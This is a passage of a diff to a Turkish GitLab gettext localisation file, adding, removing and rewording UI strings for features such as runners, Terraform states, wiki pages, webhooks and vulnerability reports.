+msgid "Repository clone URL"
+msgstr ""
+
msgid "Repository files count over the limit"
msgstr ""
@@ -22668,10 +23192,10 @@ msgstr ""
msgid "Repository storage"
msgstr ""
-msgid "Repository sync capacity"
+msgid "Repository synchronization concurrency limit"
msgstr ""
-msgid "Repository: %{counter_repositories} / Wikis: %{counter_wikis} / Build Artifacts: %{counter_build_artifacts} / LFS: %{counter_lfs_objects} / Snippets: %{counter_snippets}"
+msgid "Repository: %{counter_repositories} / Wikis: %{counter_wikis} / Build Artifacts: %{counter_build_artifacts} / LFS: %{counter_lfs_objects} / Snippets: %{counter_snippets} / Packages: %{counter_packages} / Uploads: %{counter_uploads}"
msgstr ""
msgid "RepositorySettingsAccessLevel|Select"
@@ -22789,12 +23313,18 @@ msgstr "Davetiyeyi tekrar gönder"
msgid "Resend it"
msgstr ""
+msgid "Reset"
+msgstr ""
+
msgid "Reset authorization key"
msgstr ""
msgid "Reset authorization key?"
msgstr ""
+msgid "Reset filters"
+msgstr ""
+
msgid "Reset health check access token"
msgstr "Sağlık kontrolü erişim anahtarını sıfırla"
@@ -22921,6 +23451,9 @@ msgstr ""
msgid "Retry"
msgstr ""
+msgid "Retry job"
+msgstr ""
+
msgid "Retry this job"
msgstr ""
@@ -22959,6 +23492,9 @@ msgstr ""
msgid "Review requested from %{name}"
msgstr ""
+msgid "Review the changes locally"
+msgstr ""
+
msgid "Review the process for configuring service providers in your identity provider — in this case, GitLab is the \"service provider\" or \"relying party\"."
msgstr ""
@@ -22979,6 +23515,9 @@ msgstr[1] ""
msgid "Reviewer(s)"
msgstr ""
+msgid "Reviewers"
+msgstr ""
+
msgid "Reviewing"
msgstr ""
@@ -23048,6 +23587,9 @@ msgstr ""
msgid "Runner cannot be assigned to other projects"
msgstr ""
+msgid "Runner is %{status}, last contact was %{runner_contact} ago"
+msgstr ""
+
msgid "Runner runs jobs from all unassigned projects"
msgstr ""
@@ -23111,12 +23653,6 @@ msgstr ""
msgid "Runners|Description"
msgstr ""
-msgid "Runners|Download Latest Binary"
-msgstr ""
-
-msgid "Runners|Download and Install Binary"
-msgstr ""
-
msgid "Runners|Group"
msgstr ""
@@ -23144,9 +23680,6 @@ msgstr ""
msgid "Runners|Protected"
msgstr ""
-msgid "Runners|Register Runner"
-msgstr ""
-
msgid "Runners|Revision"
msgstr ""
@@ -23249,12 +23782,6 @@ msgstr "DeÄŸiÅŸiklikleri Kaydet"
msgid "Save Push Rules"
msgstr ""
-msgid "Save and test payload"
-msgstr ""
-
-msgid "Save anyway"
-msgstr ""
-
msgid "Save application"
msgstr "Uygulamayı kaydet"
@@ -23273,7 +23800,7 @@ msgstr "Åžifreyi kaydet"
msgid "Save pipeline schedule"
msgstr "İş hattı takvimini kaydet"
-msgid "Save space and find tags in the Container Registry more easily. Enable the cleanup policy to remove stale tags and keep only the ones you need."
+msgid "Save space and find images in the Container Registry. Remove unneeded tags and keep only the ones you want."
msgstr ""
msgid "Saved scan settings and target site settings which are reusable."
@@ -23330,15 +23857,9 @@ msgstr ""
msgid "Scopes: %{scope_list}"
msgstr ""
-msgid "Score"
-msgstr ""
-
msgid "Scroll down"
msgstr "Aşağı kaydır"
-msgid "Scroll down to %{strong_open}Google Code Project Hosting%{strong_close} and enable the switch on the right."
-msgstr ""
-
msgid "Scroll left"
msgstr "Sola kaydır"
@@ -23441,6 +23962,9 @@ msgstr "Projeleri ara"
msgid "Search projects..."
msgstr "Projeleri ara..."
+msgid "Search refs"
+msgstr ""
+
msgid "Search requirements"
msgstr "Gereksinimleri ara"
@@ -23480,9 +24004,6 @@ msgstr ""
msgid "SearchAutocomplete|in project %{projectName}"
msgstr ""
-msgid "SearchCodeResults|in"
-msgstr ""
-
msgid "SearchCodeResults|of %{link_to_project}"
msgstr ""
@@ -23562,6 +24083,9 @@ msgstr ""
msgid "Seat Link is disabled, and cannot be configured through this form."
msgstr ""
+msgid "SeatUsage|Seat usage"
+msgstr ""
+
msgid "Seats usage data as of %{last_enqueue_time} (Updated daily)"
msgstr ""
@@ -23748,6 +24272,9 @@ msgstr ""
msgid "SecurityReports|Fuzzing artifacts"
msgstr ""
+msgid "SecurityReports|Go to the %{linkStart}pipelines tab%{linkEnd} to download the security reports"
+msgstr ""
+
msgid "SecurityReports|Hide dismissed"
msgstr ""
@@ -23912,6 +24439,12 @@ msgstr "Metrikleri gör"
msgid "See the affected projects in the GitLab admin panel"
msgstr ""
+msgid "See vulnerability %{vulnerability_link} for any Remediation details."
+msgstr ""
+
+msgid "See vulnerability %{vulnerability_link} for any Solution details."
+msgstr ""
+
msgid "See what's new at GitLab"
msgstr "GitLab'daki yenilikleri görün"
@@ -24029,9 +24562,6 @@ msgstr "Bölge seçmek için proje seçin"
msgid "Select projects"
msgstr "Projeleri seç"
-msgid "Select projects you want to import."
-msgstr "İçe aktarmak istediğiniz projeleri seçin."
-
msgid "Select required regulatory standard"
msgstr ""
@@ -24374,12 +24904,6 @@ msgstr ""
msgid "Set the milestone to %{milestone_reference}."
msgstr ""
-msgid "Set the number of concurrent requests this secondary node will make to the primary node while backfilling."
-msgstr ""
-
-msgid "Set the synchronization and verification capacity for the secondary node."
-msgstr ""
-
msgid "Set the timeout in seconds to send a secondary node status to the primary and IPs allowed for the secondary nodes."
msgstr ""
@@ -24422,21 +24946,30 @@ msgstr ""
msgid "Set up your project to automatically push and/or pull changes to/from another repository. Branches, tags, and commits will be synced automatically."
msgstr ""
+msgid "Set verification limit and frequency."
+msgstr ""
+
msgid "Set weight"
msgstr ""
msgid "Set weight to %{weight}."
msgstr ""
-msgid "Set what should be replicated by choosing specific projects or groups by the secondary node."
+msgid "Set what should be replicated by this secondary node."
msgstr ""
msgid "SetPasswordToCloneLink|set a password"
msgstr "ÅŸifre ayarla"
+msgid "SetStatusModal|\"Busy\" will be shown next to your name"
+msgstr ""
+
msgid "SetStatusModal|Add status emoji"
msgstr "Durum ifadesi ekle"
+msgid "SetStatusModal|Busy"
+msgstr ""
+
msgid "SetStatusModal|Clear status"
msgstr "Durumu temizle"
@@ -24455,6 +24988,9 @@ msgstr "Durum ayarla"
msgid "SetStatusModal|Sorry, we weren't able to set your status. Please try again later."
msgstr "Üzgünüz, durumunuzu belirleyemedik. Lütfen daha sonra tekrar deneyin."
+msgid "SetStatusModal|Status updated"
+msgstr ""
+
msgid "SetStatusModal|What's your status?"
msgstr "Durumunuz nedir?"
@@ -24551,9 +25087,6 @@ msgstr ""
msgid "Should you ever lose your phone or access to your one time password secret, each of these recovery codes can be used one time each to regain access to your account. Please save them in a safe place, or you %{b_start}will%{b_end} lose access to your account."
msgstr ""
-msgid "Show Runner installation instructions"
-msgstr ""
-
msgid "Show all activity"
msgstr ""
@@ -24608,13 +25141,16 @@ msgstr ""
msgid "Show list"
msgstr ""
-msgid "Show me everything"
+msgid "Show me advanced features"
msgstr ""
msgid "Show me how to add a pipeline"
msgstr ""
-msgid "Show me more advanced stuff"
+msgid "Show me the basics"
+msgstr ""
+
+msgid "Show one file at a time"
msgstr ""
msgid "Show only direct members"
@@ -24643,6 +25179,9 @@ msgid_plural "Showing %d events"
msgstr[0] "%d etkinliği gösteriliyor"
msgstr[1] "%d etkinlikleri gösteriliyor"
+msgid "Showing %{conflict_start}%{conflicts_text}%{strong_end} between %{ref_start}%{source_branch}%{strong_end} and %{ref_start}%{target_branch}%{strong_end}"
+msgstr ""
+
msgid "Showing %{count} of %{total} projects"
msgstr ""
@@ -24738,10 +25277,13 @@ msgstr ""
msgid "Sign-up restrictions"
msgstr "Kayıt kısıtlamaları"
-msgid "SignUp|First Name is too long (maximum is %{max_length} characters)."
+msgid "SignUp|First name is too long (maximum is %{max_length} characters)."
+msgstr ""
+
+msgid "SignUp|Last name is too long (maximum is %{max_length} characters)."
msgstr ""
-msgid "SignUp|Last Name is too long (maximum is %{max_length} characters)."
+msgid "SignUp|Minimum length is %{minimum_password_length} characters."
msgstr ""
msgid "SignUp|Username is too long (maximum is %{max_length} characters)."
@@ -24792,6 +25334,9 @@ msgstr ""
msgid "Skipped"
msgstr ""
+msgid "Skipped deployment to"
+msgstr ""
+
msgid "Slack application"
msgstr ""
@@ -24903,9 +25448,6 @@ msgstr ""
msgid "Some of the designs you tried uploading did not change:"
msgstr ""
-msgid "Some of your epics may not be visible. A roadmap is limited to the first 1,000 epics, in your selected sort order."
-msgstr ""
-
msgid "Someone edited the issue at the same time you did. Please check out %{linkStart}the issue%{linkEnd} and make sure your changes will not unintentionally remove theirs."
msgstr ""
@@ -24951,7 +25493,7 @@ msgstr ""
msgid "Something went wrong while archiving a requirement."
msgstr ""
-msgid "Something went wrong while closing the %{issuable}. Please try again later"
+msgid "Something went wrong while closing the merge request. Please try again later"
msgstr ""
msgid "Something went wrong while creating a requirement."
@@ -25032,10 +25574,13 @@ msgstr ""
msgid "Something went wrong while performing the action."
msgstr ""
+msgid "Something went wrong while promoting the issue to an epic. Please try again."
+msgstr ""
+
msgid "Something went wrong while reopening a requirement."
msgstr ""
-msgid "Something went wrong while reopening the %{issuable}. Please try again later"
+msgid "Something went wrong while reopening the merge request. Please try again later"
msgstr ""
msgid "Something went wrong while resolving this discussion. Please try again."
@@ -25317,11 +25862,11 @@ msgstr "Bu özellik deneyseldir ve herkese açık projelerle sınırlıdır."
msgid "SourcegraphPreferences|This feature is experimental."
msgstr "Bu özellik deneyseldir."
-msgid "SourcegraphPreferences|Uses %{link_start}Sourcegraph.com%{link_end}."
-msgstr "%{link_start}Sourcegraph.com%{link_end}'u kullanır."
+msgid "SourcegraphPreferences|Uses %{linkStart}Sourcegraph.com%{linkEnd}."
+msgstr ""
-msgid "SourcegraphPreferences|Uses a custom %{link_start}Sourcegraph instance%{link_end}."
-msgstr "Özel bir %{link_start}Sourcegraph örneği%{link_end} kullanır."
+msgid "SourcegraphPreferences|Uses a custom %{linkStart}Sourcegraph instance%{linkEnd}."
+msgstr ""
msgid "Spam Logs"
msgstr "Spam Günlükleri"
@@ -25344,6 +25889,9 @@ msgstr ""
msgid "Specify the following URL during the Runner setup:"
msgstr ""
+msgid "Speed up your pipelines with Needs relationships"
+msgstr ""
+
msgid "Squash commit message"
msgstr ""
@@ -25461,9 +26009,6 @@ msgstr ""
msgid "Start thread & reopen %{noteable_name}"
msgstr ""
-msgid "Start using Directed Acyclic Graphs (DAG)"
-msgstr ""
-
msgid "Start your Free Gold Trial"
msgstr "Ücretsiz Altın Denemesini Başlat"
@@ -25623,6 +26168,18 @@ msgstr ""
msgid "Stay updated about the performance and health of your environment by configuring Prometheus to monitor your deployments."
msgstr ""
+msgid "Step 1."
+msgstr ""
+
+msgid "Step 2."
+msgstr ""
+
+msgid "Step 3."
+msgstr ""
+
+msgid "Step 4."
+msgstr ""
+
msgid "Still, we recommend keeping a backup saved somewhere. Otherwise, if you ever need it and have lost it, you will need to request GitLab Inc. to send it to you again."
msgstr ""
@@ -25791,6 +26348,9 @@ msgstr "Kullanılan en yüksek üye sayısı"
msgid "SubscriptionTable|Next invoice"
msgstr "Sonraki fatura"
+msgid "SubscriptionTable|Renew"
+msgstr ""
+
msgid "SubscriptionTable|Seats currently in use"
msgstr "Mevcut kullanılan üyelikler"
@@ -25800,6 +26360,9 @@ msgstr "Abonelikteki üyelikler"
msgid "SubscriptionTable|Seats owed"
msgstr "Borçlu üyelikler"
+msgid "SubscriptionTable|See usage"
+msgstr ""
+
msgid "SubscriptionTable|Subscription end date"
msgstr "Abonelik bitiÅŸ tarihi"
@@ -25848,6 +26411,9 @@ msgstr ""
msgid "Succeeded"
msgstr ""
+msgid "Successful purchase image"
+msgstr ""
+
msgid "Successfully activated"
msgstr ""
@@ -26022,6 +26588,9 @@ msgstr ""
msgid "Synchronization disabled"
msgstr ""
+msgid "Synchronization settings"
+msgstr ""
+
msgid "Syncing…"
msgstr ""
@@ -26190,9 +26759,6 @@ msgstr ""
msgid "Telephone number"
msgstr "Telefon numarası"
-msgid "Telephone number (Optional)"
-msgstr ""
-
msgid "Template"
msgstr "Åžablon"
@@ -26232,6 +26798,9 @@ msgstr "Hizmet Koşulları Sözleşmesi ve Gizlilik Politikası"
msgid "Terms of Service and Privacy Policy"
msgstr "Hizmet Koşulları ve Gizlilik Politikası"
+msgid "Terraform"
+msgstr ""
+
msgid "Terraform|%{number} Terraform report failed to generate"
msgid_plural "Terraform|%{number} Terraform reports failed to generate"
msgstr[0] ""
@@ -26242,24 +26811,48 @@ msgid_plural "Terraform|%{number} Terraform reports were generated in your pipel
msgstr[0] ""
msgstr[1] ""
+msgid "Terraform|%{user} updated %{timeAgo}"
+msgstr ""
+
msgid "Terraform|A Terraform report failed to generate."
msgstr ""
msgid "Terraform|A Terraform report was generated in your pipelines."
msgstr ""
+msgid "Terraform|An error occurred while loading your Terraform States"
+msgstr ""
+
+msgid "Terraform|Find out how to use the %{linkStart}GitLab managed Terraform State%{linkEnd}"
+msgstr ""
+
msgid "Terraform|Generating the report caused an error."
msgstr ""
+msgid "Terraform|Get started with Terraform"
+msgstr ""
+
+msgid "Terraform|Locked"
+msgstr ""
+
+msgid "Terraform|Locked by %{user} %{timeAgo}"
+msgstr ""
+
msgid "Terraform|Reported Resource Changes: %{addNum} to add, %{changeNum} to change, %{deleteNum} to delete"
msgstr ""
+msgid "Terraform|States"
+msgstr ""
+
msgid "Terraform|The Terraform report %{name} failed to generate."
msgstr ""
msgid "Terraform|The Terraform report %{name} was generated in your pipelines."
msgstr ""
+msgid "Terraform|Unknown User"
+msgstr ""
+
msgid "Test"
msgstr ""
@@ -26280,6 +26873,12 @@ msgstr[1] ""
msgid "Test settings"
msgstr ""
+msgid "TestCases|Move test case"
+msgstr ""
+
+msgid "TestCases|Moving test case"
+msgstr ""
+
msgid "TestCases|New Test Case"
msgstr ""
@@ -26307,6 +26906,9 @@ msgstr ""
msgid "TestCases|Something went wrong while marking test case todo as done."
msgstr ""
+msgid "TestCases|Something went wrong while moving test case."
+msgstr ""
+
msgid "TestCases|Something went wrong while updating the test case labels."
msgstr ""
@@ -26337,6 +26939,9 @@ msgstr ""
msgid "TestHooks|Ensure the project has notes."
msgstr ""
+msgid "TestHooks|Ensure the project has releases."
+msgstr ""
+
msgid "TestHooks|Ensure the wiki is enabled and has pages."
msgstr ""
@@ -26432,9 +27037,6 @@ msgstr ""
msgid "The Prometheus server responded with \"bad request\". Please check your queries are correct and are supported in your Prometheus version. %{documentationLink}"
msgstr ""
-msgid "The Security Dashboard shows the results of the last successful pipeline run on the default branch."
-msgstr ""
-
msgid "The URL defined on the primary node that secondary nodes should use to contact it."
msgstr ""
@@ -26444,10 +27046,10 @@ msgstr ""
msgid "The URL to use for connecting to Elasticsearch. Use a comma-separated list to support clustering (e.g., \"http://localhost:9200, http://localhost:9201\")."
msgstr ""
-msgid "The X509 Certificate to use when mutual TLS is required to communicate with the external authorization service. If left blank, the server certificate is still validated when accessing over HTTPS."
+msgid "The Vulnerability Report shows the results of the last successful pipeline run on the default branch."
msgstr ""
-msgid "The above settings apply to all projects with the selected compliance framework(s)."
+msgid "The X509 Certificate to use when mutual TLS is required to communicate with the external authorization service. If left blank, the server certificate is still validated when accessing over HTTPS."
msgstr ""
msgid "The application will be used where the client secret can be kept confidential. Native mobile apps and Single Page Apps are considered non-confidential."
@@ -26516,9 +27118,6 @@ msgstr ""
msgid "The download link will expire in 24 hours."
msgstr ""
-msgid "The entered user map is not a valid JSON user map."
-msgstr ""
-
msgid "The errors we encountered were:"
msgstr ""
@@ -26560,6 +27159,9 @@ msgstr "Çatal ilişkisi kaldırıldı."
msgid "The form contains the following error:"
msgstr ""
+msgid "The form contains the following errors:"
+msgstr ""
+
msgid "The form contains the following warning:"
msgstr ""
@@ -26608,6 +27210,12 @@ msgstr ""
msgid "The issue stage shows the time it takes from creating an issue to assigning the issue to a milestone, or add the issue to a list on your Issue Board. Begin creating issues to see data for this stage."
msgstr ""
+msgid "The issue was successfully promoted to an epic. Redirecting to epic..."
+msgstr ""
+
+msgid "The license for Deploy Board is required to use this feature."
+msgstr ""
+
msgid "The license key is invalid. Make sure it is exactly as you received it from GitLab Inc."
msgstr ""
@@ -26653,6 +27261,9 @@ msgstr ""
msgid "The number of times an upload record could not find its file"
msgstr ""
+msgid "The page could not be displayed because it timed out."
+msgstr ""
+
msgid "The parent epic is confidential and can only contain confidential epics and issues"
msgstr ""
@@ -26764,6 +27375,9 @@ msgstr ""
msgid "The status of the table below only applies to the default branch and is based on the %{linkStart}latest pipeline%{linkEnd}. Once you've enabled a scan for the default branch, any subsequent feature branch you create will include the scan."
msgstr ""
+msgid "The tag name can't be changed for an existing release."
+msgstr ""
+
msgid "The testing stage shows the time GitLab CI takes to run every pipeline for the related merge request. The data will automatically be added after your first pipeline finishes running."
msgstr ""
@@ -26773,7 +27387,7 @@ msgstr "Her veri girişinde harcanan zaman bu aşamada toplanır."
msgid "The update action will time out after %{number_of_minutes} minutes. For big repositories, use a clone/push combination."
msgstr ""
-msgid "The uploaded file is not a valid Google Takeout archive."
+msgid "The uploaded file was invalid. Supported file extensions are %{extensions}."
msgstr ""
msgid "The usage ping is disabled, and cannot be configured through this form."
@@ -26785,9 +27399,6 @@ msgstr ""
msgid "The user map has been saved. Continue by selecting the projects you want to import."
msgstr ""
-msgid "The user map is a JSON document mapping the Google Code users that participated on your projects to the way their email addresses and usernames will be imported into GitLab. You can change this by changing the value on the right hand side of %{code_open}:%{code_close}. Be sure to preserve the surrounding double quotes, other punctuation and the email address or username on the left hand side."
-msgstr ""
-
msgid "The user map is a mapping of the FogBugz users that participated on your projects to the way their email address and usernames will be imported into GitLab. You can change this by populating the table below."
msgstr ""
@@ -26803,6 +27414,9 @@ msgstr "Bir seri gözlemlenen değerin ortasında yatan değer. Örneğin: 3, 5,
msgid "The value of the provided variable exceeds the %{count} character limit"
msgstr ""
+msgid "The visualization will appear in this tab when the CI/CD configuration file is populated with valid syntax."
+msgstr ""
+
msgid "The vulnerability is no longer detected. Verify the vulnerability has been fixed or removed before changing its status."
msgstr ""
@@ -26890,6 +27504,9 @@ msgstr "Henüz bu grupla paylaşılan proje yok."
msgid "There are no variables yet."
msgstr ""
+msgid "There are running deployments on the environment. Please retry later."
+msgstr ""
+
msgid "There is a limit of %{ci_project_subscriptions_limit} subscriptions from or to a project."
msgstr ""
@@ -27205,9 +27822,6 @@ msgstr ""
msgid "This commit was signed with a %{strong_open}verified%{strong_close} signature and the committer email is verified to belong to the same user."
msgstr ""
-msgid "This commit was signed with a <strong>verified</strong> signature and the committer email is verified to belong to the same user."
-msgstr ""
-
msgid "This commit was signed with a different user's verified signature."
msgstr ""
@@ -27217,9 +27831,6 @@ msgstr ""
msgid "This commit was signed with an %{strong_open}unverified%{strong_close} signature."
msgstr ""
-msgid "This commit was signed with an <strong>unverified</strong> signature."
-msgstr ""
-
msgid "This content could not be displayed because %{reason}. You can %{options} instead."
msgstr ""
@@ -27254,7 +27865,7 @@ msgid "This endpoint has been requested too many times. Try again later."
msgstr ""
msgid "This environment has no deployments yet."
-msgstr ""
+msgstr "Bu ortamın henüz bir dağıtımı yok."
msgid "This environment is being deployed"
msgstr ""
@@ -27262,6 +27873,9 @@ msgstr ""
msgid "This environment is being re-deployed"
msgstr ""
+msgid "This environment's canary ingress has been updated recently. Please retry later."
+msgstr ""
+
msgid "This epic already has the maximum number of child epics."
msgstr ""
@@ -27325,7 +27939,7 @@ msgstr ""
msgid "This is the highest peak of users on your installation since the license started."
msgstr ""
-msgid "This is the number of currently active users on your installation, and this is the minimum number you need to purchase when you renew your license."
+msgid "This is the number of %{billable_users_link_start}billable users%{link_end} on your installation, and this is the minimum number you need to purchase when you renew your license."
msgstr ""
msgid "This is your current session"
@@ -27334,9 +27948,6 @@ msgstr "Bu sizin mevcut oturumunuz"
msgid "This issue is currently blocked by the following issues:"
msgstr ""
-msgid "This issue is currently blocked by the following issues: %{issues}."
-msgstr ""
-
msgid "This issue is in a child epic of the filtered epic"
msgstr ""
@@ -27451,7 +28062,7 @@ msgstr ""
msgid "This merge request is locked."
msgstr "Bu birleÅŸtirme isteÄŸi kilitlendi."
-msgid "This merge request is still a work in progress."
+msgid "This merge request is still a draft."
msgstr ""
msgid "This merge request was merged. To apply this suggestion, edit this file directly."
@@ -27472,9 +28083,6 @@ msgstr ""
msgid "This page sends a payload. Go back to the events page to see a newly created event."
msgstr ""
-msgid "This pipeline does not use the %{codeStart}needs%{codeEnd} keyword and can't be represented as a directed acyclic graph."
-msgstr ""
-
msgid "This pipeline makes use of a predefined CI/CD configuration enabled by %{b_open}Auto DevOps.%{b_close}"
msgstr ""
@@ -27553,6 +28161,9 @@ msgstr ""
msgid "This user cannot be unlocked manually from GitLab"
msgstr ""
+msgid "This user does not have a pending request"
+msgstr ""
+
msgid "This user has no active %{type}."
msgstr ""
@@ -27598,6 +28209,9 @@ msgstr ""
msgid "Threat Monitoring"
msgstr ""
+msgid "ThreatMonitoring|Alerts"
+msgstr ""
+
msgid "ThreatMonitoring|All Environments"
msgstr ""
@@ -27898,6 +28512,9 @@ msgstr "Zaman aşımı"
msgid "Timeout connecting to the Google API. Please try again."
msgstr ""
+msgid "Timezone"
+msgstr ""
+
msgid "Time|hr"
msgid_plural "Time|hrs"
msgstr[0] "saat"
@@ -27914,6 +28531,9 @@ msgstr "sn"
msgid "Tip:"
msgstr "Ä°pucu:"
+msgid "Tip: add a"
+msgstr ""
+
msgid "Title"
msgstr "Başlık"
@@ -28049,7 +28669,7 @@ msgstr ""
msgid "To use Gitpod you must first enable the feature in the integrations section of your %{user_prefs}."
msgstr ""
-msgid "To view all %{scannedResourcesCount} scanned URLs, please download the CSV file"
+msgid "To view all %{scannedResourcesCount} scanned URLs, %{linkStart}please download the CSV file%{linkEnd}"
msgstr ""
msgid "To view instance-level analytics, ask an admin to turn on %{docLinkStart}usage ping%{docLinkEnd}."
@@ -28148,6 +28768,9 @@ msgstr ""
msgid "Too many projects enabled. You will need to manage them via the console or the API."
msgstr ""
+msgid "Too many users specified (limit is %{user_limit})"
+msgstr ""
+
msgid "Too much data"
msgstr ""
@@ -28490,6 +29113,9 @@ msgstr ""
msgid "Unable to convert Kubernetes logs encoding to UTF-8"
msgstr ""
+msgid "Unable to create link to vulnerability"
+msgstr ""
+
msgid "Unable to fetch unscanned projects"
msgstr ""
@@ -28556,8 +29182,8 @@ msgstr ""
msgid "Unassigned"
msgstr ""
-msgid "Unblock"
-msgstr "Engeli kaldır"
+msgid "Unauthenticated request rate limit"
+msgstr ""
msgid "Undo"
msgstr ""
@@ -28628,10 +29254,10 @@ msgstr "Tartışmanın kilidi açıldı."
msgid "Unlocks the discussion."
msgstr ""
-msgid "Unmarked this %{noun} as Work In Progress."
+msgid "Unmarked this %{noun} as a draft."
msgstr ""
-msgid "Unmarks this %{noun} as Work In Progress."
+msgid "Unmarks this %{noun} as a draft."
msgstr ""
msgid "Unreachable"
@@ -28826,9 +29452,6 @@ msgstr "Sorun panolarını geliştirmek için planınızı yükseltin."
msgid "Upgrade your plan to improve Merge Requests."
msgstr ""
-msgid "Upload %{code_open}GoogleCodeProjectHosting.json%{code_close} here:"
-msgstr ""
-
msgid "Upload CSV file"
msgstr ""
@@ -28847,6 +29470,9 @@ msgstr ""
msgid "Upload a private key for your certificate"
msgstr "Sertifikanız için özel bir anahtar yükleyin"
+msgid "Upload an image"
+msgstr ""
+
msgid "Upload file"
msgstr "Dosya yükle"
@@ -28883,6 +29509,9 @@ msgstr ""
msgid "Usage"
msgstr ""
+msgid "Usage Trends"
+msgstr ""
+
msgid "Usage ping is off"
msgstr ""
@@ -28973,6 +29602,9 @@ msgstr ""
msgid "UsageQuota|Unlimited"
msgstr "Sınırsız"
+msgid "UsageQuota|Uploads"
+msgstr ""
+
msgid "UsageQuota|Usage"
msgstr "Kullanım"
@@ -29120,6 +29752,12 @@ msgstr "Kullanıcı projeden başarıyla kaldırıldı."
msgid "User was successfully updated."
msgstr "Kullanıcı başarıyla güncelleştirildi."
+msgid "UserAvailability|%{author} (Busy)"
+msgstr ""
+
+msgid "UserAvailability|(Busy)"
+msgstr ""
+
msgid "UserLists|Add"
msgstr ""
@@ -29177,6 +29815,9 @@ msgstr ""
msgid "UserList|created %{timeago}"
msgstr "%{timeago} oluÅŸturuldu"
+msgid "UserProfile|(Busy)"
+msgstr ""
+
msgid "UserProfile|Activity"
msgstr "Etkinlik"
@@ -29222,6 +29863,9 @@ msgstr "KiÅŸisel projeler"
msgid "UserProfile|Report abuse"
msgstr "Kötüye kullanımı bildir"
+msgid "UserProfile|Retry"
+msgstr ""
+
msgid "UserProfile|Snippets"
msgstr "Parçacıklar"
@@ -29252,6 +29896,9 @@ msgstr "Bu kullanıcı herhangi bir projeye yıldız eklemedi"
msgid "UserProfile|This user is blocked"
msgstr "Bu kullanıcı engellendi"
+msgid "UserProfile|Unconfirmed user"
+msgstr ""
+
msgid "UserProfile|View all"
msgstr "Tümünü görüntüle"
@@ -29288,6 +29935,9 @@ msgstr ""
msgid "Username or email"
msgstr "Kullanıcı adı ya da e-posta"
+msgid "Username: %{username}"
+msgstr ""
+
msgid "Users"
msgstr "Kullanıcılar"
@@ -29330,15 +29980,15 @@ msgstr "Vekil yok - %{openingTag} kendinizi atayın %{closingTag}"
msgid "UsersSelect|Unassigned"
msgstr ""
-msgid "Using %{codeStart}needs%{codeEnd} allows jobs to run before their stage is reached, as soon as their individual dependencies are met, which speeds up your pipelines."
-msgstr ""
-
msgid "Using %{code_start}::%{code_end} denotes a %{link_start}scoped label set%{link_end}"
msgstr ""
msgid "Using required encryption strategy when encrypted field is missing!"
msgstr ""
+msgid "Using the %{codeStart}needs%{codeEnd} keyword makes jobs run before their stage is reached. Jobs run as soon as their %{codeStart}needs%{codeEnd} relationships are met, which speeds up your pipelines."
+msgstr ""
+
msgid "Valid from"
msgstr ""
@@ -29408,7 +30058,7 @@ msgstr ""
msgid "Various settings that affect GitLab performance."
msgstr ""
-msgid "Verification capacity"
+msgid "Verification concurrency limit"
msgstr ""
msgid "Verification information"
@@ -29459,7 +30109,7 @@ msgid "View dependency details for your project"
msgstr ""
msgid "View deployment"
-msgstr ""
+msgstr "Dağıtımı görüntüle"
msgid "View details"
msgstr ""
@@ -29487,6 +30137,9 @@ msgstr "Dosyayı görüntüle @ "
msgid "View file @ %{commitSha}"
msgstr ""
+msgid "View file @%{commit_sha}"
+msgstr ""
+
msgid "View full dashboard"
msgstr ""
@@ -29544,6 +30197,9 @@ msgstr "Proje etiketlerini görüntüle"
msgid "View replaced file @ "
msgstr "Değiştirilen @ dosyayı görüntüle "
+msgid "View setting"
+msgstr ""
+
msgid "View supported languages and frameworks"
msgstr ""
@@ -29637,9 +30293,6 @@ msgstr ""
msgid "VisualReviewApp|Steps 1 and 2 (and sometimes 3) are performed once by the developer before requesting feedback. Steps 3 (if necessary), 4 is performed by the reviewer each time they perform a review."
msgstr ""
-msgid "Visualization"
-msgstr ""
-
msgid "Vulnerabilities"
msgstr ""
@@ -29745,6 +30398,12 @@ msgstr ""
msgid "Vulnerability|Activity"
msgstr ""
+msgid "Vulnerability|Actual received response is the one received when this fault was detected"
+msgstr ""
+
+msgid "Vulnerability|Additional Info"
+msgstr ""
+
msgid "Vulnerability|Class"
msgstr ""
@@ -29793,10 +30452,7 @@ msgstr ""
msgid "Vulnerability|Project"
msgstr "Proje"
-msgid "Vulnerability|Request"
-msgstr ""
-
-msgid "Vulnerability|Response"
+msgid "Vulnerability|Request/Response"
msgstr ""
msgid "Vulnerability|Scanner"
@@ -29811,6 +30467,9 @@ msgstr ""
msgid "Vulnerability|Status"
msgstr ""
+msgid "Vulnerability|The unmodified response is the original response that had no mutations done to the request"
+msgstr ""
+
msgid "Wait for the file to load to copy its contents"
msgstr ""
@@ -29835,6 +30494,9 @@ msgstr ""
msgid "We are currently unable to fetch data for this graph."
msgstr ""
+msgid "We are currently unable to fetch data for this pipeline."
+msgstr ""
+
msgid "We could not determine the path to remove the epic"
msgstr "Epik kaldırma yolunu belirleyemedik"
@@ -29964,6 +30626,9 @@ msgstr ""
msgid "Webhooks|Push events"
msgstr ""
+msgid "Webhooks|Releases events"
+msgstr ""
+
msgid "Webhooks|SSL verification"
msgstr ""
@@ -29979,6 +30644,9 @@ msgstr ""
msgid "Webhooks|This URL is triggered when a feature flag is turned on or off"
msgstr ""
+msgid "Webhooks|This URL is triggered when a release is created/updated"
+msgstr ""
+
msgid "Webhooks|This URL will be triggered by a push to the repository"
msgstr ""
@@ -30060,12 +30728,18 @@ msgstr ""
msgid "What is squashing?"
msgstr ""
+msgid "What is your job title? (optional)"
+msgstr ""
+
msgid "What's new at GitLab"
msgstr ""
msgid "What’s your experience level?"
msgstr ""
+msgid "When Kroki is enabled, GitLab sends diagrams to an instance of Kroki to display them as images. You can use the free public cloud instance %{kroki_public_url} or you can %{install_link} on your own infrastructure. Once you've installed Kroki, make sure to update the server URL to point to your instance."
+msgstr ""
+
msgid "When a deployment job is successful, skip older deployment jobs that are still pending"
msgstr ""
@@ -30122,8 +30796,14 @@ msgstr ""
msgid "Wiki"
msgstr "Viki"
-msgid "Wiki was successfully updated."
-msgstr "Wiki başarıyla güncellendi."
+msgid "Wiki page was successfully created."
+msgstr ""
+
+msgid "Wiki page was successfully deleted."
+msgstr ""
+
+msgid "Wiki page was successfully updated."
+msgstr ""
msgid "WikiClone|Clone your wiki"
msgstr "Viki'nizi kopyalayın"
@@ -30278,6 +30958,9 @@ msgstr "Sayfa sürümü"
msgid "Wiki|Pages"
msgstr "Sayfalar"
+msgid "Wiki|The sidebar failed to load. You can reload the page to try again."
+msgstr ""
+
msgid "Wiki|Title"
msgstr "Başlık"
@@ -30359,9 +31042,6 @@ msgstr ""
msgid "Yes, delete project"
msgstr ""
